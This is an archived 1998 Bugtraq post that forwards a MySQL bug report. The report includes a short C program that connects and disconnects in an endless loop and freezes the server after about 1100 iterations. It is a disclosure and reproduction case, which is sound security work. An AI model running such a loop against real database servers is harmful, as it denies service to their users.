[7676] in bugtraq

home help back first fref pref prev next nref lref last post

MySQL DoS ?

daemon@ATHENA.MIT.EDU (Phear Me)
Fri Aug 14 21:43:04 1998

X-Complaints-To: abuse@cookie.monster.org
Date: 	Sat, 15 Aug 1998 03:15:49 +0200
Reply-To: patrick@cookie.monster.org
From: Phear Me <patrick@COOKIE.MONSTER.ORG>
To: BUGTRAQ@NETSPACE.ORG

This appeared at the MySQL list:


Date: Fri, 14 Aug 1998 18:50:02 +0200
From: Jochen Wiedmann <joe@ispsoft.de>
Subject: mysql: Connecting/Disconnecting 1100 times freezes server

Received: (from root@localhost)
        by laptop.ispsoft.de (8.8.8/8.8.8) id SAA08052
        for mysql@tcx.se; Fri, 14 Aug 1998 18:42:55 +0200
Date: Fri, 14 Aug 1998 18:42:55 +0200
Full-Name: root
Message-Id: <199808141642.SAA08052@laptop.ispsoft.de>
From: joe
To: mysql@tcx.se
Subject: connecting/disconnecting 1100 times freezes server

>Description:

        A simple test script that connects/disconnects in an endless
        loop makes the MySQL server freeze after approximately 1100
        iterations.

        Is this a bug or a security related feature? If the latter,
        can I turn it off somehow, as it prevents me from
        investigating a memory leak in the DBD::mysql's connect
        method.

>How-To-Repeat:

        #include <stdlib.h>
        #include <string.h>
        #include <stdio.h>
        #include <mysql/mysql.h>

        int main(int argc, char* argv[]) {
            MYSQL sock;
            int i = 0;

            while (1) {
                if (++i % 100 == 0) {
                    printf("%d\n", i);
                }
                mysql_init(&sock);
                if (!mysql_real_connect(&sock, NULL, NULL, NULL, NULL,
                                        0, NULL, 0)) {
                    fprintf(stderr, "Cannot connect: %s\n",
                            mysql_error(&sock));
                    exit(10);
                }
                mysql_close(&sock);
            }
        }

>Fix:
        Not known

home help back first fref pref prev next nref lref last post